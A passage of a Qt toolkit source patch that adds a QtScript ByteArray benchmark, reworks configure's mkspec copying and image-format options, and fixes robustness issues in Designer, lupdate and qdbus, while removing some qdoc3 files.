+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtCore/qdir.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qtextstream.h>
+#include <QtScript/qscriptengine.h>
+#include <QtScript/qscriptvalue.h>
+#include "bytearrayclass.h"
+
+static QString readFile(const QString &filename)
+{
+    QFile file(filename);
+    if (!file.open(QFile::ReadOnly))
+        return QString();
+    QTextStream stream(&file);
+    stream.setCodec("UTF-8");
+    return stream.readAll();
+}
+
+class tst_QScriptClass_ByteArray : public QObject
+{
+    Q_OBJECT
+
+public:
+    tst_QScriptClass_ByteArray();
+
+private slots:
+    void benchmark_data();
+    void benchmark();
+
+private:
+    QDir testsDir;
+};
+
+tst_QScriptClass_ByteArray::tst_QScriptClass_ByteArray()
+{
+    testsDir = QDir(":/tests");
+    if (!testsDir.exists())
+        qWarning("*** no tests/ dir!");
+}
+
+void tst_QScriptClass_ByteArray::benchmark_data()
+{
+    QTest::addColumn<QString>("testName");
+    QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files);
+    foreach (QFileInfo tfi, testFileInfos) {
+        QString name = tfi.baseName();
+        QTest::newRow(name.toLatin1().constData()) << name;
+    }
+}
+
+void tst_QScriptClass_ByteArray::benchmark()
+{
+    QFETCH(QString, testName);
+    QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js"));
+    QVERIFY(!testContents.isEmpty());
+
+    QScriptEngine eng;
+    ByteArrayClass *baClass = new ByteArrayClass(&eng);
+    eng.globalObject().setProperty("ByteArray", baClass->constructor());
+
+    QBENCHMARK {
+        eng.evaluate(testContents);
+    }
+    QVERIFY(!eng.hasUncaughtException());
+}
+
+QTEST_MAIN(tst_QScriptClass_ByteArray)
+#include "tst_qscriptclass_bytearray.moc"
diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro
index b0770ca..d4fc822 100644
--- a/tests/benchmarks/script/script.pro
+++ b/tests/benchmarks/script/script.pro
@@ -1,6 +1,8 @@
 TEMPLATE = subdirs
 SUBDIRS = \
+        context2d \
         qscriptclass \
+        qscriptclass_bytearray \
         qscriptengine \
         qscriptvalue \
         sunspider \
@@ -13,4 +15,4 @@ TRUSTED_BENCHMARKS += \
     qscriptvalue \
     qscriptengine
 
-include(../trusted-benchmarks.pri)
\ No newline at end of file
+include(../trusted-benchmarks.pri)
diff --git a/tests/benchmarks/script/sunspider/tst_sunspider.cpp b/tests/benchmarks/script/sunspider/tst_sunspider.cpp
index 0df19b6..9e2bb6f 100644
--- a/tests/benchmarks/script/sunspider/tst_sunspider.cpp
+++ b/tests/benchmarks/script/sunspider/tst_sunspider.cpp
@@ -110,7 +110,7 @@ void tst_SunSpider::benchmark_data()
 void tst_SunSpider::benchmark()
 {
     QFETCH(QString, testName);
-    QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js"));
+    QString testContents = readFile(testsDir.filePath(testName + ".js"));
     QVERIFY(!testContents.isEmpty());
 
     QScriptEngine engine;
diff --git a/tests/benchmarks/script/v8/tst_v8.cpp b/tests/benchmarks/script/v8/tst_v8.cpp
index 841e2f3..b9cb859 100644
--- a/tests/benchmarks/script/v8/tst_v8.cpp
+++ b/tests/benchmarks/script/v8/tst_v8.cpp
@@ -115,10 +115,10 @@ void tst_V8::benchmark()
 {
     QFETCH(QString, testName);
 
-    QString baseDotJsContents = readFile(testsDir.absoluteFilePath("base.js"));
+    QString baseDotJsContents = readFile(testsDir.filePath("base.js"));
     QVERIFY(!baseDotJsContents.isEmpty());
 
-    QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js"));
+    QString testContents = readFile(testsDir.filePath(testName + ".js"));
     QVERIFY(!testContents.isEmpty());
 
     QScriptEngine engine;
diff --git a/tools/assistant/tools/assistant/helpviewer_qwv.cpp b/tools/assistant/tools/assistant/helpviewer_qwv.cpp
index 2d31ad7..efb9b59 100644
--- a/tools/assistant/tools/assistant/helpviewer_qwv.cpp
+++ b/tools/assistant/tools/assistant/helpviewer_qwv.cpp
@@ -379,7 +379,7 @@ bool HelpViewer::findText(const QString &text, FindFlags flags, bool incremental
     bool fromSearch)
 {
     TRACE_OBJ
-    Q_UNUSED((incremental && fromSearch))
+    Q_UNUSED(incremental); Q_UNUSED(fromSearch);
     QWebPage::FindFlags options = QWebPage::FindWrapsAroundDocument;
     if (flags & FindBackward)
         options |= QWebPage::FindBackward;
diff --git a/tools/configure/configure.pro b/tools/configure/configure.pro
index 608d876..1245646 100644
--- a/tools/configure/configure.pro
+++ b/tools/configure/configure.pro
@@ -65,6 +65,7 @@ HEADERS  = configureapp.h environment.h tools.h\
            $$QT_SOURCE_TREE/src/corelib/tools/qstringlist.h \
            $$QT_SOURCE_TREE/src/corelib/tools/qstringmatcher.h \
            $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables_p.h \
+           $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror_p.h \
            $$QT_SOURCE_TREE/src/corelib/xml/qxmlstream.h \
            $$QT_SOURCE_TREE/src/corelib/xml/qxmlutils_p.h \
            $$QT_SOURCE_TREE/tools/shared/symbian/epocroot_p.h \
@@ -111,6 +112,7 @@ SOURCES  = main.cpp configureapp.cpp environment.cpp tools.cpp \
            $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables.cpp \
            $$QT_SOURCE_TREE/src/corelib/tools/qvsnprintf.cpp \
            $$QT_SOURCE_TREE/src/corelib/kernel/qvariant.cpp \
+           $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror.cpp \
            $$QT_SOURCE_TREE/src/corelib/io/qurl.cpp \
            $$QT_SOURCE_TREE/src/corelib/tools/qline.cpp \
            $$QT_SOURCE_TREE/src/corelib/tools/qsize.cpp \
diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp
index 64fc6a9..19cef9a 100644
--- a/tools/configure/configureapp.cpp
+++ b/tools/configure/configureapp.cpp
@@ -437,6 +437,7 @@ void Configure::parseCmdLine()
 {
     int argCount = configCmdLine.size();
     int i = 0;
+    const QStringList imageFormats = QStringList() << "gif" << "png" << "mng" << "jpeg" << "tiff";
 
 #if !defined(EVAL)
     if (argCount < 1) // skip rest if no arguments
@@ -829,6 +830,17 @@ void Configure::parseCmdLine()
             dictionary[ "SQL_IBASE" ] = "plugin";
         else if (configCmdLine.at(i) == "-no-sql-ibase")
             dictionary[ "SQL_IBASE" ] = "no";
+
+        // Image formats --------------------------------------------
+        else if (configCmdLine.at(i).startsWith("-qt-imageformat-") &&
+                 imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+            dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "yes";
+        else if (configCmdLine.at(i).startsWith("-plugin-imageformat-") &&
+                 imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+            dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "plugin";
+        else if (configCmdLine.at(i).startsWith("-no-imageformat-") &&
+                 imageFormats.contains(configCmdLine.at(i).section('-', 3)))
+            dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "no";
 #endif
         // IDE project generation -----------------------------------
         else if (configCmdLine.at(i) == "-no-dsp")
@@ -3253,8 +3265,7 @@ void Configure::generateConfigfiles()
     }
 
     // Copy configured mkspec to default directory, but remove the old one first, if there is any
-    QString mkspecsPath = buildPath + "/mkspecs";
-    QString defSpec = mkspecsPath + "/default";
+    QString defSpec = buildPath + "/mkspecs/default";
     QFileInfo defSpecInfo(defSpec);
     if (defSpecInfo.exists()) {
         if (!Environment::rmdir(defSpec)) {
@@ -3264,30 +3275,13 @@ void Configure::generateConfigfiles()
         }
     }
 
-    QDir mkspecsDir(mkspecsPath);
-    if (!mkspecsDir.mkdir("default")) {
-        cout << "Couldn't create default mkspec dir!" << endl;
-        dictionary["DONE"] = "error";
-        return;
-    }
-
     QString spec = dictionary.contains("XQMAKESPEC") ? dictionary["XQMAKESPEC"] : dictionary["QMAKESPEC"];
     QString pltSpec = sourcePath + "/mkspecs/" + spec;
-    outName = defSpec + "/qmake.conf";
-    QFile qmakeConfFile(outName);
-    if (qmakeConfFile.open(QFile::WriteOnly | QFile::Text)) {
-        QTextStream qmakeConfStream;
-        qmakeConfStream.setDevice(&qmakeConfFile);
-        // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the
-        // primary use of this variable by qmake to identify the original mkspec, the
-        // variable is also used for few special cases where the absolute path is required.
-        // Conversely, the include of the original qmake.conf must be done using relative path,
-        // as some Qt binary deployments are done in a manner that doesn't allow for patching
-        // the paths at the installation time.
-        qmakeConfStream << "QMAKESPEC_ORIGINAL=" << pltSpec << endl << endl;
-        qmakeConfStream << "include(" << "../" << spec << "/qmake.conf)" << endl << endl;
-        qmakeConfStream.flush();
-        qmakeConfFile.close();
+    QString includeSpec = buildPath + "/mkspecs/" + spec;
+    if (!Environment::cpdir(pltSpec, defSpec, includeSpec)) {
+        cout << "Couldn't update default mkspec! Does " << qPrintable(pltSpec) << " exist?" << endl;
+        dictionary["DONE"] = "error";
+        return;
     }
 
     // Generate the new qconfig.cpp file
diff --git a/tools/configure/environment.cpp b/tools/configure/environment.cpp
index 8040c7a..1885955 100644
--- a/tools/configure/environment.cpp
+++ b/tools/configure/environment.cpp
@@ -397,10 +397,25 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv
     return exitCode;
 }
 
-bool Environment::cpdir(const QString &srcDir, const QString &destDir)
+/*!
+    Copies the \a srcDir contents into \a destDir.
+
+    If \a includeSrcDir is not empty, any files with 'h', 'prf', or 'conf' suffixes
+    will not be copied over from \a srcDir. Instead a new file will be created
+    in \a destDir with the same name and that file will include a file with the
+    same name from the \a includeSrcDir using relative path and appropriate
+    syntax for the file type.
+
+    Returns true if copying was successful.
+*/
+bool Environment::cpdir(const QString &srcDir,
+                        const QString &destDir,
+                        const QString &includeSrcDir)
 {
     QString cleanSrcName = QDir::cleanPath(srcDir);
     QString cleanDstName = QDir::cleanPath(destDir);
+    QString cleanIncludeName = QDir::cleanPath(includeSrcDir);
+
 #ifdef CONFIGURE_DEBUG_CP_DIR
     qDebug() << "Attempt to cpdir " << cleanSrcName << "->" << cleanDstName;
 #endif
@@ -411,21 +426,59 @@ bool Environment::cpdir(const QString &srcDir, const QString &destDir)
 
     bool result = true;
     QDir dir = QDir(cleanSrcName);
+    QDir destinationDir = QDir(cleanDstName);
     QFileInfoList allEntries = dir.entryInfoList(QDir::AllDirs | QDir::Files | QDir::NoDotAndDotDot);
     for (int i = 0; result && (i < allEntries.count()); ++i) {
         QFileInfo entry = allEntries.at(i);
 	bool intermediate = true;
         if (entry.isDir()) {
+            QString newIncSrcDir;
+            if (!includeSrcDir.isEmpty())
+                newIncSrcDir = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName());
+
             intermediate = cpdir(QString("%1/%2").arg(cleanSrcName).arg(entry.fileName()),
-                            QString("%1/%2").arg(cleanDstName).arg(entry.fileName()));
+                                 QString("%1/%2").arg(cleanDstName).arg(entry.fileName()),
+                                 newIncSrcDir);
         } else {
             QString destFile = QString("%1/%2").arg(cleanDstName).arg(entry.fileName());
 #ifdef CONFIGURE_DEBUG_CP_DIR
 	    qDebug() << "About to cp (file)" << entry.absoluteFilePath() << "->" << destFile;
 #endif
 	    QFile::remove(destFile);
-            intermediate = QFile::copy(entry.absoluteFilePath(), destFile);
-            SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL);
+            QString suffix = entry.suffix();
+            if (!includeSrcDir.isEmpty() && (suffix == "prf" || suffix == "conf" || suffix == "h")) {
+                QString relativeIncludeFilePath = QString("%1/%2").arg(cleanIncludeName).arg(entry.fileName());
+                relativeIncludeFilePath = destinationDir.relativeFilePath(relativeIncludeFilePath);
+#ifdef CONFIGURE_DEBUG_CP_DIR
+                qDebug() << "...instead generate relative include to" << relativeIncludeFilePath;
+#endif
+                QFile currentFile(destFile);
+                if (currentFile.open(QFile::WriteOnly | QFile::Text)) {
+                    QTextStream fileStream;
+                    fileStream.setDevice(&currentFile);
+
+                    if (suffix == "prf" || suffix == "conf") {
+                        if (entry.fileName() == "qmake.conf") {
+                            // While QMAKESPEC_ORIGINAL being relative or absolute doesn't matter for the
+                            // primary use of this variable by qmake to identify the original mkspec, the
+                            // variable is also used for few special cases where the absolute path is required.
+                            // Conversely, the include of the original qmake.conf must be done using relative path,
+                            // as some Qt binary deployments are done in a manner that doesn't allow for patching
+                            // the paths at the installation time.
+                            fileStream << "QMAKESPEC_ORIGINAL=" << cleanSrcName << endl << endl;
+                        }
+                        fileStream << "include(" << relativeIncludeFilePath << ")" << endl << endl;
+                    } else if (suffix == "h") {
+                        fileStream << "#include \"" << relativeIncludeFilePath << "\"" << endl << endl;
+                    }
+
+                    fileStream.flush();
+                    currentFile.close();
+                }
+            } else {
+                intermediate = QFile::copy(entry.absoluteFilePath(), destFile);
+                SetFileAttributes((wchar_t*)destFile.utf16(), FILE_ATTRIBUTE_NORMAL);
+            }
         }
 	if(!intermediate) {
 	    qDebug() << "cpdir: Failure for " << entry.fileName() << entry.isDir();
diff --git a/tools/configure/environment.h b/tools/configure/environment.h
index 6bb962f..faee63f 100644
--- a/tools/configure/environment.h
+++ b/tools/configure/environment.h
@@ -65,7 +65,9 @@ public:
     static bool detectExecutable(const QString &executable);
 
     static int execute(QStringList arguments, const QStringList &additionalEnv, const QStringList &removeEnv);
-    static bool cpdir(const QString &srcDir, const QString &destDir);
+    static bool cpdir(const QString &srcDir,
+                      const QString &destDir,
+                      const QString &includeSrcDir = QString());
     static bool rmdir(const QString &name);
 
     static QString symbianEpocRoot();
diff --git a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
index f396df2..ac1fe1c 100644
--- a/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
+++ b/tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
@@ -72,7 +72,6 @@ static void memberList(QDesignerFormEditorInterface *core,
 {
     if (!object)
         return;
-
     // 1) member sheet
     const QDesignerMemberSheetExtension *members = qt_extension<QDesignerMemberSheetExtension*>(core->extensionManager(), object);
     Q_ASSERT(members != 0);
@@ -118,15 +117,15 @@ static void memberList(QDesignerFormEditorInterface *core,
     if (!metaDataBase)
         return;
 
-    const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object);
-    Q_ASSERT(mdbItem);
-    const QStringList mdbFakeMethods =  member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals();
-    if (!mdbFakeMethods.empty())
-        foreach (const QString &fakeMethod, mdbFakeMethods)
-            if (predicate(fakeMethod)) {
-                *it = ClassNameSignaturePair(className, fakeMethod);
-                ++it;
-            }
+    if (const qdesigner_internal::MetaDataBaseItem *mdbItem = metaDataBase->metaDataBaseItem(object)) {
+        const QStringList mdbFakeMethods =  member_type == qdesigner_internal::SlotMember ? mdbItem->fakeSlots() : mdbItem->fakeSignals();
+        if (!mdbFakeMethods.empty())
+            foreach (const QString &fakeMethod, mdbFakeMethods)
+                if (predicate(fakeMethod)) {
+                    *it = ClassNameSignaturePair(className, fakeMethod);
+                    ++it;
+                }
+    }
 }
 
 namespace {
@@ -245,10 +244,14 @@ namespace qdesigner_internal {
     ClassesMemberFunctions reverseClassesMemberFunctions(const QString &obj_name, MemberType member_type,
                                                          const QString &peer, QDesignerFormWindowInterface *form)
     {
-        QObject *object = form->findChild<QObject*>(obj_name);
+        QObject *object = 0;
+        if (obj_name == form->mainContainer()->objectName()) {
+            object = form->mainContainer();
+        } else {
+            object = form->mainContainer()->findChild<QObject*>(obj_name);
+        }
         if (!object)
             return ClassesMemberFunctions();
-
         QDesignerFormEditorInterface *core = form->core();
 
         ClassesMemberFunctions rc;
diff --git a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
index 494c56b..b06a66f 100644
--- a/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
+++ b/tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
@@ -658,8 +658,12 @@ QWidget *ConnectionDelegate::createEditor(QWidget *parent,
 
         const qdesigner_internal::ClassesMemberFunctions class_list = qdesigner_internal::reverseClassesMemberFunctions(obj_name, type, peer, m_form);
 
-        QObject *object = m_form->findChild<QObject*>(obj_name);
-
+        QObject *object = 0;
+        if (obj_name == m_form->mainContainer()->objectName()) {
+            object = m_form->mainContainer();
+        } else {
+            object = m_form->mainContainer()->findChild<QObject*>(obj_name);
+        }
         inline_editor->addText(type == qdesigner_internal::SignalMember ? tr("<signal>") : tr("<slot>"));
         foreach (const qdesigner_internal::ClassMemberFunctions &class_info, class_list) {
             if (class_info.m_className.isEmpty() || class_info.m_memberList.isEmpty())
diff --git a/tools/designer/src/lib/shared/grid.cpp b/tools/designer/src/lib/shared/grid.cpp
index 6add8bd..ba991c7 100644
--- a/tools/designer/src/lib/shared/grid.cpp
+++ b/tools/designer/src/lib/shared/grid.cpp
@@ -89,12 +89,20 @@ Grid::Grid() :
 
 bool Grid::fromVariantMap(const QVariantMap& vm)
 {
-    *this = Grid();
-    valueFromVariantMap(vm, QLatin1String(KEY_VISIBLE), m_visible);
-    valueFromVariantMap(vm, QLatin1String(KEY_SNAPX), m_snapX);
-    valueFromVariantMap(vm, QLatin1String(KEY_SNAPY), m_snapY);
-    valueFromVariantMap(vm, QLatin1String(KEY_DELTAX), m_deltaX);
-    return valueFromVariantMap(vm, QLatin1String(KEY_DELTAY), m_deltaY);
+    Grid grid;
+    bool anyData = valueFromVariantMap(vm, QLatin1String(KEY_VISIBLE), grid.m_visible);
+    anyData |= valueFromVariantMap(vm, QLatin1String(KEY_SNAPX), grid.m_snapX);
+    anyData |= valueFromVariantMap(vm, QLatin1String(KEY_SNAPY), grid.m_snapY);
+    anyData |= valueFromVariantMap(vm, QLatin1String(KEY_DELTAX), grid.m_deltaX);
+    anyData |= valueFromVariantMap(vm, QLatin1String(KEY_DELTAY), grid.m_deltaY);
+    if (!anyData)
+        return false;
+    if (grid.m_deltaX == 0 || grid.m_deltaY == 0) {
+        qWarning("Attempt to set invalid grid with a spacing of 0.");
+        return false;
+    }
+    *this = grid;
+    return true;
 }
 
 QVariantMap Grid::toVariantMap(bool forceKeys) const
diff --git a/tools/designer/src/lib/shared/layout.cpp b/tools/designer/src/lib/shared/layout.cpp
index c9ffe71..9fe438b 100644
--- a/tools/designer/src/lib/shared/layout.cpp
+++ b/tools/designer/src/lib/shared/layout.cpp
@@ -996,13 +996,23 @@ bool Grid::shrinkFormLayoutSpans()
     for (WidgetSet::const_iterator it = widgets.constBegin(); it != cend ; ++it) {
         QWidget *w = *it;
         int row, col,  rowspan, colspan;
-        locateWidget(w, row, col, rowspan, colspan);
+        if (!locateWidget(w, row, col, rowspan, colspan))
+            qDebug("ooops, widget '%s' does not fit in layout", w->objectName().toUtf8().constData());
         const int maxColSpan = col == 0 ? 2 : 1;
         const int newColSpan = qMin(colspan, maxColSpan);
         const int newRowSpan = qMin(rowspan, maxRowSpan);
         if (newColSpan != colspan || newRowSpan != rowspan) {
-            setCells(QRect(col, row, colspan, rowspan), 0);
-            setCells(QRect(col, row, newColSpan, newRowSpan), w);
+            // in case like this:
+            // W1 W1
+            // W1 W2
+            // do:
+            // W1 0
+            // 0  W2
+            for (int i = row; i < row + rowspan - 1; i++)
+                for (int j = col; j < col + colspan - 1; j++)
+                    if (i > row + newColSpan - 1 || j > col + newRowSpan - 1)
+                        if (cell(i, j) == w)
+                            setCell(i, j, 0);
             shrunk = true;
         }
     }
@@ -1177,11 +1187,7 @@ void GridLayout<GridLikeLayout, LayoutType, GridMode>::doLayout()
             if (const Spacer *spacer = qobject_cast<const Spacer*>(w))
                 alignment = spacer->alignment();
 
-            if (rs * cs == 1) {
-                addWidgetToGrid(layout, w, r, c, 1, 1, alignment);
-            } else {
-                addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
-            }
+            addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
 
             w->show();
         } else {
diff --git a/tools/designer/src/lib/shared/qlayout_widget.cpp b/tools/designer/src/lib/shared/qlayout_widget.cpp
index e9cf51a..66e7a79 100644
--- a/tools/designer/src/lib/shared/qlayout_widget.cpp
+++ b/tools/designer/src/lib/shared/qlayout_widget.cpp
@@ -1189,8 +1189,7 @@ QRect LayoutHelper::itemInfo(QLayout *lt, const QWidget *widget) const
             } else {
                 for (int c = 0; c < FormLayoutColumns; c++) {
                     const QFormLayout::ItemRole role = c == 0 ? QFormLayout::LabelRole : QFormLayout::FieldRole;
-                    if (widgets[c]) {
-                        Q_ASSERT(BoxLayoutHelper::findItemOfWidget(items, widgets[c]));
+                    if (widgets[c] && BoxLayoutHelper::findItemOfWidget(items, widgets[c])) {
                         formLayout->setWidget(r, role, widgets[c]);
                     } else {
                         formLayout->setItem(r, role, createFormSpacer());
diff --git a/tools/linguist/lupdate/qdeclarative.cpp b/tools/linguist/lupdate/qdeclarative.cpp
index b85b1a7..1c1e9ad 100644
--- a/tools/linguist/lupdate/qdeclarative.cpp
+++ b/tools/linguist/lupdate/qdeclarative.cpp
@@ -225,7 +225,7 @@ protected:
                     const QString id = literal->value->asString();
                     bool plural = node->arguments->next;
 
-                    TranslatorMessage msg(QString(), QString(),
+                    TranslatorMessage msg(QString(), sourcetext,
                         QString(), QString(), m_fileName,
                         node->firstSourceLocation().startLine, QStringList(),
                         TranslatorMessage::Unfinished, plural);
diff --git a/tools/qdbus/qdbus/qdbus.cpp b/tools/qdbus/qdbus/qdbus.cpp
index 6742810..a3821a1 100644
--- a/tools/qdbus/qdbus/qdbus.cpp
+++ b/tools/qdbus/qdbus/qdbus.cpp
@@ -50,6 +50,10 @@
 #include <QtDBus/QtDBus>
 #include <private/qdbusutil_p.h>
 
+QT_BEGIN_NAMESPACE
+Q_DBUS_EXPORT extern bool qt_dbus_metaobject_skip_annotations;
+QT_END_NAMESPACE
+
 static QDBusConnection connection(QLatin1String(""));
 static bool printArgumentsLiterally = false;
 
@@ -99,7 +103,7 @@ static void printArg(const QVariant &v)
         else if (arg.currentSignature() == QLatin1String("a{sv}"))
             printArg(qdbus_cast<QVariantMap>(arg));
         else
-            printf("qdbus: I don't know how to display an argument of type '%s'\n",
+            printf("qdbus: I don't know how to display an argument of type '%s', run with --literal.\n",
                    qPrintable(arg.currentSignature()));
     } else {
         printf("%s\n", qPrintable(v.toString()));
@@ -311,7 +315,11 @@ static int placeCall(const QString &service, const QString &path, const QString
                 int id = QVariant::nameToType(types.at(i));
                 if (id == QVariant::UserType)
                     id = QMetaType::type(types.at(i));
-                Q_ASSERT(id);
+                if (!id) {
+                    fprintf(stderr, "Cannot call method '%s' because type '%s' is unknown to this tool\n",
+                            qPrintable(member), types.at(i).constData());
+                    return 1;
+                }
 
                 QVariant p;
                 QString argument;
@@ -435,6 +443,7 @@ static void printAllServices(QDBusConnectionInterface *bus)
 
 int main(int argc, char **argv)
 {
+    QT_PREPEND_NAMESPACE(qt_dbus_metaobject_skip_annotations) = true;
     QCoreApplication app(argc, argv);
     QStringList args = app.arguments();
     args.takeFirst();
diff --git a/tools/qdoc3/JAVATODO.txt b/tools/qdoc3/JAVATODO.txt
deleted file mode 100644
index 911b7a5..0000000
--- a/tools/qdoc3/JAVATODO.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-  * index page on "O" and downwards?
-  * flag types, e.g. QTextStream::NumberFlags
-  * example references qt.nokia.com/doc etc.
-
-  * fix enum value table (e.g. QCoreApplication.Encoding.html)
-  * check reimplementation of interface functions (e.g. QWidget::widthMM())
-  * handle '::' in doc, e.g. in QAbstractEventDispatcher's detailed desc
-  * make sure default constructor logic doesn't interfere with default params (e.g. QAbstractEventDispatcher ctors)
-  * document default constructor provided for Java (e.g.?)
-  * document "protected QAbstractEventDispatcher(QtObject.QPrivateConstructor p)" and the like
-  * memory-managed, type
-
-  * replace QString with String, etc.
-  * nested classes
-  * enum_1
-
-  * fix stylesheet
-  * no link to class itself
-  * support \ifjava
-  * add // C++
-  * support Java-only /*! ... */ comments
-
-  * links to property names have to be fixed
-        * example: version 1 in QStyleOptionFrame
-        * example: foo -> isFoo()
-
-  * lowercase, and remove final stop, in \brief texts for variables and properties
-  * omit "see alsos" that don't work instead of showing them as broken links
diff --git a/tools/qdoc3/TODO.txt b/tools/qdoc3/TODO.txt
index 6deeb06..9bf4a28 100644
--- a/tools/qdoc3/TODO.txt
+++ b/tools/qdoc3/TODO.txt
@@ -10,8 +10,6 @@
     * Don't turn X11 and similar names into links.
     * Added automatic links from getters to setters and vice versa.
     * Support \module and show which module each class is from.
-    * Use bullet list for the list of all functions, now that
-      Assistant handles these gracefully.
     * Fix occasional crash caused by misuse of const_cast().
     * Provide clearer error messages when resolves fail.
 
@@ -55,12 +53,9 @@ MUST HAVES:
   * Provide a "List of all properties" page.
 
   * expand QObjectList -> QList<QObject *>
-  * make \macro work (?)
   * warning for unnamed parameters in property access functions
   * \center...\endcenter
 
-  * warning for undocumented enum values
-
 LINKS:
 
   * explanation following nonstandard wording warning
@@ -74,8 +69,6 @@ LINKS:
 
   * implement \sidebar
 
-  * implement qbook
-
   * implement \legalesefile
 
   * show in which module each class is
@@ -92,5 +85,3 @@ NICE FEATURES:
 OTHER:
   * make qdoc run faster
   * make sure \headerfile works even if specified after \relates
-
-  * use qtstyle.css instead of inline style for each page
diff --git a/tools/qdoc3/apigenerator.cpp b/tools/qdoc3/apigenerator.cpp
deleted file mode 100644
index b3f0214..0000000
--- a/tools/qdoc3/apigenerator.cpp
+++ /dev/null
@@ -1,150 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <QFile>
-
-#include "apigenerator.h"
-#include "codemarker.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-static QString indentStr(int indent)
-{
-    QString str;
-    str.fill(QLatin1Char(' '), indent * 4);
-    return str;
-}
-
-static bool lessThanName(Node *node1, Node *node2)
-{
-    return node1->name() < node2->name();
-}
-
-QString ApiGenerator::format()
-{
-    return QLatin1String("API");
-}
-
-void ApiGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
-    QFile outFile(QLatin1String("api"));
-    outFile.open(QIODevice::WriteOnly);
-
-    out.setDevice(&outFile);
-    generateNode(tree->root(), marker);
-    out.flush();
-}
-
-void ApiGenerator::generateNode(const Node *node, CodeMarker *marker, int indent)
-{
-    if (node->access() == Node::Private)
-        return;
-
-    switch (node->type()) {
-    case Node::Namespace:
-        if (!node->name().isEmpty()) {
-            out << indentStr(indent) << "Namespace: " << node->name() << "\n";
-            ++indent;
-        }
-        break;
-    case Node::Class:
-        {
-            const ClassNode *classe = static_cast<const ClassNode *>(node);
-            out << indentStr(indent) << "Class: " << node->name();
-            foreach (const RelatedClass &baseClass, classe->baseClasses()) {
-                if (baseClass.access == Node::Public)
-                    out << " inherits " << baseClass.dataTypeWithTemplateArgs;
-            }
-            out << "\n";
-            ++indent;
-        }
-        break;
-    case Node::Enum:
-        {
-            const EnumNode *enume = static_cast<const EnumNode *>(node);
-            out << indentStr(indent) << "Enum: " << node->name() << "\n";
-            ++indent;
-
-            QStringList enumNames;
-            foreach (const EnumItem &item, enume->items())
-                enumNames << item.name();
-            qSort(enumNames);
-
-            foreach (const QString &name, enumNames)
-                out << indentStr(indent) << "Enum value: " << name << "\n";
-        }
-        break;
-    case Node::Typedef:
-        out << indentStr(indent) << "Typedef: " << node->name() << "\n";
-        ++indent;
-        break;
-    case Node::Function:
-        {
-            out << indentStr(indent) << "Function: "
-                << plainCode(marker->markedUpSynopsis(node, 0, CodeMarker::Detailed)) << "\n";
-            ++indent;
-        }
-        break;
-    case Node::Property:
-        {
-            const PropertyNode *property = static_cast<const PropertyNode *>(node);
-            out << indentStr(indent) << "Property: " << property->name()
-                << " type " << property->dataType() << "\n";
-            ++indent;
-        }
-        break;
-    default:
-        ;
-    }
-
-    if (node->isInnerNode()) {
-        const InnerNode *inner = static_cast<const InnerNode *>(node);
-        NodeList nodes = inner->childNodes();
-        qSort(nodes.begin(), nodes.end(), lessThanName);
-        foreach (const Node *child, nodes)
-            generateNode(child, marker, indent);
-    }
-
-    out.flush();
-}
-
-QT_END_NAMESPACE
